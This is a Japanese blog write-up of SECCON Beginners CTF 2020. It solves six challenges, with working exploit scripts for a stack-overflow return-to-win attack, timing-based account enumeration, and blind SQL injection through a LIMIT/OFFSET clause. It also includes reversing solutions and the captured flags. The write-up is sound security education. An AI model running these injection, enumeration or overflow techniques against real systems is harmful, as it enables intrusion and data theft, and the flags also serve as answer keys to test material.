2020年5月23,24日に開催された、SECCON Beginners CTF 2020に参加しました。
と言っても、今年も全然振るわず。難易度 [Beginner]
はなんとか全部通せたものの、[Easy]
2問しか解けず、しょんぼりでした。
あとで全ジャンル復習するぞ!ということで、簡単な問題ばかりですがまずはwriteupを。公式解法も出ているようなので需要はなさそうだけど、自分のためにも。
今回もソロ参加、659pt, 157位でした。
[Pwn] Beginner's Stack [Beginner]
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
chall
という実行ファイルが配布されます。
$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
実行してみます。
$ ./chall Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffe1d098630 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007ffe1d098638 | 0x0000000000000000 | +--------------------+ 0x00007ffe1d098640 | 0x0000000000000000 | +--------------------+ 0x00007ffe1d098648 | 0x00007fc6b8150190 | +--------------------+ 0x00007ffe1d098650 | 0x00007ffe1d098660 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe1d098658 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffe1d098660 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffe1d098668 | 0x00007fc6b7f6909b | <-- return address (main) +--------------------+ 0x00007ffe1d098670 | 0x0000000000000000 | +--------------------+ 0x00007ffe1d098678 | 0x00007ffe1d098748 | +--------------------+ Input:
適当に a
をたくさん入れてみます。
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [ Address ] [ Stack ] +--------------------+ 0x00007ffe1d098630 | 0x6161616161616161 | <-- buf +--------------------+ 0x00007ffe1d098638 | 0x6161616161616161 | +--------------------+ 0x00007ffe1d098640 | 0x6161616161616161 | +--------------------+ 0x00007ffe1d098648 | 0x6161616161616161 | +--------------------+ 0x00007ffe1d098650 | 0x6161616161616161 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe1d098658 | 0x6161616161616161 | <-- return address (vuln) +--------------------+ 0x00007ffe1d098660 | 0x6161616161616161 | <-- saved rbp (main) +--------------------+ 0x00007ffe1d098668 | 0x00000a6161616161 | <-- return address (main) +--------------------+ 0x00007ffe1d098670 | 0x0000000000000000 | +--------------------+ 0x00007ffe1d098678 | 0x00007ffe1d098748 | +--------------------+ Segmentation fault
おー、とても親切。途中まで0x61
で埋まっているのが可視化されています。
今回のアーキテクチャは64bit。picoCTF 2019の[Binary] NewOverFlow-1 の問題の解き方が参考になりそう。
まずは純朴に、return address (vuln)
のところがwin
関数のアドレスになるように攻撃を組み立ててみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'bs.quals.beginners.seccon.jp' port = 9001 win_addr = 0x00400861 e = ELF('chall') payload = b'a' * (8*5) payload += p64(win_addr) r = remote(host, port) print(r.recvuntil(b'Input: ')) r.sendline(payload) print(r.recvall()) r.close()
これを実行してみると
[ Address ] [ Stack ] +--------------------+ 0x00007fffc751e490 | 0x6161616161616161 | <-- buf +--------------------+ 0x00007fffc751e498 | 0x6161616161616161 | +--------------------+ 0x00007fffc751e4a0 | 0x6161616161616161 | +--------------------+ 0x00007fffc751e4a8 | 0x6161616161616161 | +--------------------+ 0x00007fffc751e4b0 | 0x6161616161616161 | <-- saved rbp (vuln) +--------------------+ 0x00007fffc751e4b8 | 0x0000000000400861 | <-- return address (vuln) +--------------------+ 0x00007fffc751e4c0 | 0x0000000000400a0a | <-- saved rbp (main) +--------------------+ 0x00007fffc751e4c8 | 0x00007fc357c65b97 | <-- return address (main) +--------------------+ 0x00007fffc751e4d0 | 0x0000000000000001 | +--------------------+ 0x00007fffc751e4d8 | 0x00007fffc751e5a8 | +--------------------+ Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
と返りました。図より、書き換えは意図したとおり行われている様子。ここでコメントのRSPについて、先ほど紹介したpicoCTF2019の問題のときも調査したとおり、RSPが16バイトにアライメントされていなければいけません。うーちゃんさんのブログにも書いてありました。
ということで、飛ばし先を16バイトにアライメントされている近傍のアドレスに書き換えます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'bs.quals.beginners.seccon.jp' port = 9001 # win_addr = 0x00400861 win_addr = 0x00400862 e = ELF('chall') payload = b'a' * (8*5) payload += p64(win_addr) r = remote(host, port) print(r.recvuntil(b'Input: ')) r.sendline(payload) r.interactive()
実行結果
~略~ Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
これがBeginner問題か…(꒪⌓꒪)
[Crypto] R&B [Beginner]
Do you like rhythm and blues?
r_and_b.zip
problem.py
とencoded_flag
が配布されます。
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
先頭にB
がついていればbase64,R
がついていればrot13でデコードしてあげるとflagになりそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string import base64 alphabet = list(string.ascii_lowercase) def rot13(c): return alphabet[(alphabet.index(c) + 13) % 26] def rot13_str(cipher): plain = '' for c in cipher: if c.isupper(): plain += rot13(c.lower()).upper() elif c.islower(): plain += rot13(c) else: plain += c return plain with open('encoded_flag', 'r') as f: encoded_flag = f.read() while True: if encoded_flag[0] == 'B': encoded_flag = base64.b64decode(encoded_flag[1:]).decode() print(encoded_flag) elif encoded_flag[0] == 'R': encoded_flag = rot13_str(encoded_flag[1:]) print(encoded_flag) else: break
実行結果
$ python solve.py BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ== (~~中略~~) ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5 BUk9IYU9hcG1FaXIySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsyOWhNYVc5 ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9 BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9 Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr} ctf4b{rot_base_rot_base_rot_base_base}
[Web] Spy [Beginner]
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt
app.py
とemployees.txt
が配布されます。
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
Arthur Barbara ...(中略)... Ximena Yvonne Zalmon
loginページとchallengeページが存在。DBに存在する従業員全員をチェックして提出すればflagがもらえるらしい。
パスワードのhashを計算するところが怪しい。こんなコメントが。
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-)
ということは、計算に時間がかかるということかしら。とりあえず、名前をリストから突っ込んでパスワードは適当、というリクエストを送って時間を見てみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import time url = "https://spy.quals.beginners.seccon.jp/" with open('employees.txt', 'r') as f: candidates = f.readlines() def attack(username): payload = { 'name': username, 'password': 'test' } start = time.time() res = requests.post(url, data=payload) elasped_time = time.time() - start return elasped_time for c in candidates: t = attack(c.strip()) if (t > 0.2): print(c.strip(), t)
実行してみたところ、存在する名前の場合は、何重にもしているというhash計算のせいで時間がかかっているようなので、0.2秒あたりをしきい値にしてそれ以上のものだけ抜き出してみました。
実行結果
$ python solve.py Elbert 0.6151869297027588 George 0.8650047779083252 Lazarus 0.7229771614074707 Marc 0.45841407775878906 Tony 0.8095290660858154 Ximena 0.4909517765045166 Yvonne 0.7574810981750488
これをChallengeページに入力すると、flagが得られました。
[Web] Tweetstore [Easy]
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-0d1ccb41d8e3285e84f055083b1bc2f7a4dc84e5
goで書かれたwebserver.go
が配布されます。goだ…。
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ log.Fatal(err) } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { log.Fatal(err) } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { var err error initialize() logFile, err := os.OpenFile("/log/access_log", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0640) if err != nil { log.Fatal(err) } r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(logFile, http.DefaultServeMux)) }
指定されたurlに飛んでみると、こんなページ。
どうやら、twitterのctf4bアカウントのツイートか、#ctf4b
, #seccon
タグの付いたツイートがダーッと表示されている様子。この中からflagを探しましょうという問題みたい。
きっと無駄と思いつつ、検索ワードにctf4b{
を指定してみたけど、やっぱり出てこなかった。ちゃんとソースを読みましょう。
- 検索ワードはurlのクエリパラメータ
search
からとってくる - 結果数制限は同じくクエリパラメータの
limit
- 検索ワードは
'
をすべて\\'
にエスケープし、Like検索に放り込まれる - limitが空でない場合は、limitを
;
で分割したときの先頭が、sqlのlimit句に放り込まれる - limitはブラウザからは数値しか入力できないが、クエリには何でも入れられる&ノーチェック
最終的な検索時のsql文は、
select url, text, tweeted_at from tweets where text like '%{search}%' order by tweeted_at desc limit {limit}
となる。
flagは、
func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" ...
とあることから、環境変数、及びデータベースのuser名であることがわかる。
searchの方は'
が封じられてしまっているため、攻撃が難しそう。ということはlimitの方で攻撃クエリにつなげられないかな…。
ちなみに、;
がsplitの区切りに使われてしまっているので、select * from ~ ;
みたいなクエリ文は投げられません。
最初はunion
句を使う攻撃なんかをずっと試していたんだけど、上記の;
が使えないせいもあって刺さらない。
試行錯誤しつつ、limit sql injection
みたいな感じでググってたら、下記にたどり着く。
これが使えそうなんですけど!
limit
句の文法として、liimit 2,3
みたいに書くと(2+1)番目から最大3個まで
という指定になる。この書き方は今回使えなかったんだけど、limit 3 offset 2
という書き方で同じ効果が期待できます。
ちょっと投げてみます。
$ curl "http://tweetstore.quals.beginners.seccon.jp/?search=&limit=10 offset 190"
※実際はurl encodeしてから投げています。以下同様。
Internal server error にならずに、ちゃんと結果が返ってきました!
これが使えたとして何が嬉しいかというと、
limit 1 offset ascii(substr((Select version()),1,1))
みたいな書き方をすると、DBのversion情報が一文字ずつ返ってきます!substr
で一文字ずつ返すように指定し、ascii
で数値に直せば、offset
の引数としてふさわしい。やった!
$ curl "http://tweetstore.quals.beginners.seccon.jp/?search=&limit=10 offset ascii(substr((Select version()),1,1))"
実際投げてみると、返ってきました!
この攻撃を成功させるためには、返ってきたtweetがindex何番目に相当するかを知っていなければいけません。まずは、indexとtweet_idのテーブルを生成します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import urllib.parse base_url = "http://tweetstore.quals.beginners.seccon.jp/" split_s = 'https://twitter.com/user/status/' split_e = '">Watch@Twitter' # enumrate tweets tweet_ids = [] for i in range(200): url = base_url + '?search=&limit=1+offset+' + str(i) res = requests.get(url) tweet_ids.append(res.text.split(split_s)[1].split(split_e)[0]) with open('tweet_ids.txt', 'w') as f: f.write(str(tweet_ids))
tweet_ids.txt
['1217080911310647296', '1187987440717328384', '1187968233275412481', '1187962961836433408', '1187932807936409600', '1187881056667496450', '1184685870646824961', '1180346104774184960', '1180344327228182529', '1179996723462078464', '1178593985121505280', '1174702546520301574', ...
よし。試しに、先程のDBのVersionを読み出す攻撃をやってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import urllib.parse base_url = "http://tweetstore.quals.beginners.seccon.jp/" split_s = 'https://twitter.com/user/status/' split_e = '">Watch@Twitter' with open('tweet_ids.txt', 'r') as f: tweet_ids = f.read()[1:-1].replace("'",'').split(', ') for i in range(200): attack = 'ascii(substr((Select version()),' + str(i+1) + ',1))' url = base_url + '?search=&limit=1+offset+' + urllib.parse.quote(attack) res = requests.get(url) tweet_id = res.text.split(split_s)[1].split(split_e)[0] print(chr(tweet_ids.index(tweet_id)),end='')
実行結果
$ python solve.py PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
綺麗に出てきました!嬉しい!PostgreSQLだったみたい。
今回Flagは、dbのuser名なので、これを表示するコマンドがないか探します。sql文は最後に;
が必要なのでNG。沢山ググってると、下記にたどり着きました。
PostgreSQL 9.1.5文書 9.23. システム情報関数
関数だとセミコロンがいらないので使えます!user名を表示する関数もありました。
current_user
やったー!先程の攻撃をこのコマンドに書き換えて実行してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import urllib.parse base_url = "http://tweetstore.quals.beginners.seccon.jp/" split_s = 'https://twitter.com/user/status/' split_e = '">Watch@Twitter' with open('tweet_ids.txt', 'r') as f: tweet_ids = f.read()[1:-1].replace("'",'').split(', ') for i in range(200): attack = 'ascii(substr((current_user),' + str(i+1) + ',1))' url = base_url + '?search=&limit=1+offset+' + urllib.parse.quote(attack) res = requests.get(url) tweet_id = res.text.split(split_s)[1].split(split_e)[0] print(chr(tweet_ids.index(tweet_id)),end='')
200は適当…。
実行結果
$ python solve.py ctf4b{is_postgres_your_friend?}
結構ぎりぎりになったけど、粘った甲斐あってflag取れて嬉しい…。
[Reversing] mask [Beginner]
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
mask
という実行ファイルが配布されます。
$ file mask mask: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=49166a467aee16fbfe167daf372d3263837b4887, for GNU/Linux 3.2.0, not stripped
時事ネタですねー。
Beginnerなので使おうか悩んだのですが、時間もないしghidraにかけちゃいました。
こちらdecompile結果。例によって解読に必要なとこのみ、パラメータ名は適宜書きかえてます。
undefined8 main(int iParm1,long lParm2) { int input_len; int idx; byte input_arg [64]; byte param1 [64]; byte param2 [72]; if (iParm1 == 1) { puts("Usage: ./mask [FLAG]"); } else { strcpy((char *)input_arg,*(char **)(lParm2 + 8)); input_len = strlen((char *)input_arg); puts("Putting on masks..."); idx = 0; while (idx < input_len) { param1[(long)idx] = input_arg[(long)idx] & 0x75; param2[(long)idx] = input_arg[(long)idx] & 0xeb; idx = idx + 1; } param1[(long)input_len] = 0; param2[(long)input_len] = 0; puts((char *)param1); puts((char *)param2); input_len = strcmp((char *)param1,"atd4`qdedtUpetepqeUdaaeUeaqau"); if ((input_len == 0) && (input_len = strcmp((char *)param2,"c`b bk`kj`KbababcaKbacaKiacki"), input_len == 0)) { puts("Correct! Submit your FLAG."); } else { puts("Wrong FLAG. Try again."); } } }
ということで、
param1 = input & 0x75 (01110101) param2 = input & 0xeb (11101011)
となるようなinput
を求めれば良さそうです。幸い、0x75
と0xeb
、両者ともビット0
の桁はないので計算できそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- param1 = "atd4`qdedtUpetepqeUdaaeUeaqau" param2 = "c`b bk`kj`KbababcaKbacaKiacki" # param1 = input & 0x75 (01110101) # param2 = input & 0xeb (11101011) def bin2ascii(bin_str): n = int(bin_str, 2) return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode() def pad8(b): if len(b) < 8: b = '0' + b return pad8(b) else: return b for i in range(len(param1)): bin1 = pad8(bin(ord(param1[i]))[2:]) bin2 = pad8(bin(ord(param2[i]))[2:]) param = bin2[0] param += bin2[1] param += bin2[2] param += bin1[3] param += bin2[4] param += bin1[5] param += bin2[6] param += bin2[7] print(bin2ascii(param),end='')
割と野蛮なスクリプトだけどまぁ良いか。
実行結果
$ python solve.py ctf4b{dont_reverse_face_mask}
フラグもクスリとくる感じが好き。
[Reversing] yakisoba [Easy]
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
今度は焼きそば。ラーメン、そうめん、焼きそば。今年も麺類で行くらしい。
実行ファイルyakisoba
が配布されます。まずは実行。
$ ./yakisoba FLAG: test Wrong!
flagがわからないのに、flagを入れよと言われます。
今回もすぐさまghidraで解析。
ulong entry(void) { int read_success; uint check_result; ulong ret; undefined input [40]; ret = 1; __printf_chk(1,"FLAG: "); read_success = __isoc99_scanf(&DAT_001010fb, input); if (read_success != 0) { check_result = check(input); ret = (ulong)check_result; if (check_result == 0) { puts("Correct!"); } else { ret = 0; puts("Wrong!"); } } }
で、ここで呼ばれているcheck
関数がめちゃめちゃ長かった。
check
関数(クリックで展開)
undefined8 check(byte *param) { byte target_char; undefined8 sub_char; target_char = *param; if (target_char != 99) { if (target_char < 100) { if (target_char == 0x30) { return 0xa5; } if (target_char == 0x4b) { return 0xc4; } } else { if (target_char == 0x96) { return 0x36; } if (target_char == 0xda) { return 0x87; } if (target_char == 0x77) { return 0x49; } } return 0x96; } target_char = param[1]; if (target_char == 0x3e) { return 3; } if (target_char < 0x3f) { sub_char = 0x54; if ((target_char != 5) && (sub_char = 0x15, target_char != 0x3d)) { return 0xd1; } } else { sub_char = 0xf; if ((target_char != 0x9c) && (sub_char = 0xb8, target_char != 0xc9)) { if (target_char != 0x74) { return 0xd1; } target_char = param[2]; if (target_char == 0x1a) { return 0xc0; } if (target_char < 0x1b) { if (target_char == 0) { return 200; } if (target_char == 1) { return 0xcc; } } else { if (target_char == 0x66) { target_char = param[3]; if (target_char == 0x59) { return 0xbd; } if (target_char < 0x5a) { if (target_char == 0x34) { target_char = param[4]; if (target_char == 0x7d) { return 0xd; } if (0x7d < target_char) { if (target_char == 199) { return 0x53; } if (target_char == 0xca) { return 0x67; } if (target_char != 0xb5) { return 0xdc; } return 0xb0; } if (target_char == 0x18) { return 0x72; } if (target_char != 0x62) { return 0xdc; } target_char = param[5]; if (target_char == 0x4b) { return 0xab; } if (target_char < 0x4c) { if (target_char == 0xd) { return 0x89; } if (target_char != 0x20) { return 0x7d; } return 0x1c; } if (target_char == 0xb9) { return 0xd7; } if (target_char == 0xc0) { return 0x2d; } if (target_char != 0x7b) { return 0x7d; } target_char = param[6]; if (target_char != 0x73) { if (target_char < 0x74) { if (target_char == 0x5a) { return 0x94; } if (target_char != 0x6d) { return 0xec; } return 0xdb; } if (target_char == 0xa5) { return 99; } if (target_char == 0xf4) { return 0x6c; } if (target_char != 0x8e) { return 0xec; } return 199; } target_char = param[7]; if (target_char != 0x70) { if (target_char < 0x71) { if (target_char == 100) { return 0xeb; } if (target_char != 0x69) { return 0xf3; } return 0x6e; } if (target_char == 0xd2) { return 0x41; } if (target_char == 0xeb) { return 1; } if (target_char != 0x80) { return 0xf3; } return 0x3a; } target_char = param[8]; if (target_char == 0x42) { return 0x75; } if (0x42 < target_char) { if (target_char == 0x5f) { return 0xd7; } if (target_char == 0x85) { return 0x22; } if (target_char != 0x50) { return 0x92; } return 7; } if (target_char == 0x25) { return 0xca; } if (target_char != 0x34) { return 0x92; } target_char = param[9]; if (target_char == 0xad) { return 0x4a; } if (target_char < 0xae) { if (target_char == 0x67) { target_char = param[10]; if (target_char != 0x68) { if (target_char < 0x69) { if (target_char == 0x1a) { return 0xf3; } if (target_char != 0x28) { return 1; } return 0xe2; } if (target_char == 0xb5) { return 0x2d; } if (target_char == 0xb8) { return 0xac; } if (target_char != 0x93) { return 1; } return 0x32; } target_char = param[0xb]; if (target_char == 0x41) { return 0x82; } if (target_char < 0x42) { if (target_char == 0x33) { target_char = param[0xc]; if (target_char != 0x74) { if (target_char < 0x75) { if (target_char == 0x53) { return 0x3c; } if (target_char != 0x57) { return 0x3d; } return 0x6b; } if (target_char == 0x8a) { return 4; } if (target_char == 0xa8) { return 0x28; } if (target_char != 0x85) { return 0x3d; } return 0xf5; } target_char = param[0xd]; if (target_char != 0x74) { if (target_char < 0x75) { if (target_char == 0x16) { return 0x75; } if (target_char != 0x2d) { return 0xef; } return 0x8a; } if (target_char == 0xb2) { return 0x4f; } if (target_char == 0xbd) { return 0xeb; } if (target_char != 0x89) { return 0xef; } return 0x67; } target_char = param[0xe]; if (target_char != 0x31) { if (target_char < 0x32) { if (target_char == 2) { return 0x7e; } if (target_char != 0x24) { return 0x1f; } return 100; } if (target_char == 0x71) { return 0x56; } if (target_char == 0x76) { return 0xf0; } if (target_char != 0x4f) { return 0x1f; } return 0xf8; } target_char = param[0xf]; if (target_char == 0x5a) { return 0x54; } if (target_char < 0x5b) { if (target_char == 10) { return 0xcf; } if (target_char != 0x2a) { return 0xb9; } return 0x71; } if (target_char != 0x5f) { if (target_char == 0xae) { return 0x66; } if (target_char != 0x5b) { return 0xb9; } return 0xee; } target_char = param[0x10]; if (target_char == 0x5a) { return 0x42; } if (target_char < 0x5b) { if (target_char == 0x17) { return 0xfb; } if (target_char != 0x43) { return 0xb1; } return 0x5c; } if (target_char == 0xd2) { return 0xa6; } if (target_char == 0xfd) { return 0x14; } if (target_char != 0x72) { return 0xb1; } target_char = param[0x11]; if (target_char != 0x31) { if (target_char < 0x32) { if (target_char == 0x13) { return 0x52; } if (target_char != 0x2e) { return 0xbe; } return 0x52; } if (target_char == 0xc4) { return 0xec; } if (target_char == 0xfd) { return 0x46; } if (target_char != 0xa5) { return 0xbe; } return 0x73; } target_char = param[0x12]; if (target_char == 0x43) { return 0xdc; } if (target_char < 0x44) { if (target_char == 0x19) { return 0x17; } if (target_char != 0x28) { return 0xb6; } return 0x68; } if (target_char == 0xd5) { return 0x4b; } if (target_char == 0xe0) { return 0x87; } if (target_char != 0x70) { return 0xb6; } target_char = param[0x13]; if (target_char != 0x70) { if (target_char < 0x71) { if (target_char == 0x29) { return 0xac; } if (target_char != 0x5a) { return 0xcc; } return 0x23; } if (target_char == 0xee) { return 0xa0; } if (target_char == 0xf7) { return 0x31; } if (target_char != 0x86) { return 0xcc; } return 0xcd; } target_char = param[0x14]; if (target_char != 0x33) { if (target_char < 0x34) { if (target_char == 0xd) { return 0xf7; } if (target_char != 0x2d) { return 0xac; } return 0xef; } if (target_char == 0x9e) { return 0x9e; } if (target_char == 0xa1) { return 0xa4; } if (target_char != 0x84) { return 0xac; } return 0x2a; } target_char = param[0x15]; if (target_char == 0x72) { target_char = param[0x16]; if (target_char == 0x3c) { return 0x68; } if (0x3c < target_char) { if (target_char == 0x76) { return 0xd9; } if (target_char == 0xbb) { return 0xd6; } if (target_char != 0x51) { return 0x40; } return 0x5d; } if (target_char == 3) { return 0xac; } if (target_char != 0x31) { return 0x40; } target_char = param[0x17]; if (target_char != 0x6e) { if (0x6e < target_char) { if (target_char == 0xdf) { return 0x93; } if (target_char != 0xfa) { return 0x1d; } return 7; } if (target_char == 0x28) { return 0x36; } if (target_char == 0x35) { return 0x68; } return 0x1d; } target_char = param[0x18]; if (target_char == 0x57) { return 0x3c; } if (0x57 < target_char) { if (target_char == 0xb0) { return 0xe2; } if (target_char == 0xd4) { return 0x84; } if (target_char != 0x91) { return 0x7e; } return 0x2f; } if (target_char == 0x1b) { return 0xf7; } if (target_char != 0x30) { return 0x7e; } target_char = param[0x19]; if (target_char != 0x7d) { if (target_char < 0x7e) { if (target_char == 9) { return 0xf8; } if (target_char != 0x3c) { return 0xe8; } return 0x29; } if (target_char == 0x87) { return 0x8b; } if (target_char == 0xcb) { return 0x69; } if (target_char != 0x7f) { return 0xe8; } return 0x5e; } target_char = param[0x1a]; if (target_char == 0x78) { return 0x75; } if (target_char < 0x79) { if (target_char == 0) { return 0; } if (target_char != 0x2a) { return 0x89; } return 0x1a; } if (target_char == 0xcf) { return 0xc9; } if (target_char == 0xfc) { return 0x4f; } if (target_char != 0xa1) { return 0x89; } return 0x9c; } if (target_char < 0x73) { if (target_char == 0x1a) { return 0x48; } if (target_char != 0x4a) { return 0x43; } return 0x28; } if (target_char == 0xd4) { return 0x8f; } if (target_char == 0xdf) { return 0x29; } if (target_char != 0xb4) { return 0x43; } return 0x39; } if (target_char == 0x3e) { return 0x4b; } } else { if (target_char == 0xda) { return 0x73; } if (target_char == 0xdd) { return 0xc2; } if (target_char == 0x82) { return 0x68; } } return 0x6f; } if (target_char == 0x97) { return 0xaa; } } else { if (target_char == 0xd8) { return 0x93; } if (target_char == 0xdf) { return 0x86; } if (target_char == 0xcf) { return 0x35; } } return 0xa6; } if (target_char == 0x42) { return 0x9d; } } else { if (target_char == 0xb9) { return 0xbc; } if (target_char == 0xc0) { return 0xf1; } if (target_char == 0x6b) { return 0x9e; } } return 0xe0; } if (target_char == 0xb3) { return 0x39; } } return 0xc; } } return sub_char; }
約600行。ヒントにもある通り、何かしら自動で解析してくれるツールを導入したら良さそう。angrしか知らないので、angrでやってみようと思ったのですが、いい結果が得られず。にわかユーザーだから使い方がわからない…。あとでwriteup読もう。
たかだか600行!なんとかなる!と、気合で解いた。意外と単純なロジックになっており、1文字ずつ次に進めるよう値を選択していくと30分くらいで解けた。
最後の16進の配列からflagに変換するコードだけ。
arry = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x73, 0x70, 0x34, 0x67, 0x68, 0x33, 0x74, 0x74, 0x31, 0x5f, 0x72, 0x31, 0x70, 0x70, 0x33, 0x72, 0x31, 0x6e, 0x30, 0x7d] for a in arry: print(chr(a),end='')
実行結果
$ python solve.py ctf4b{sp4gh3tt1_r1pp3r1n0}
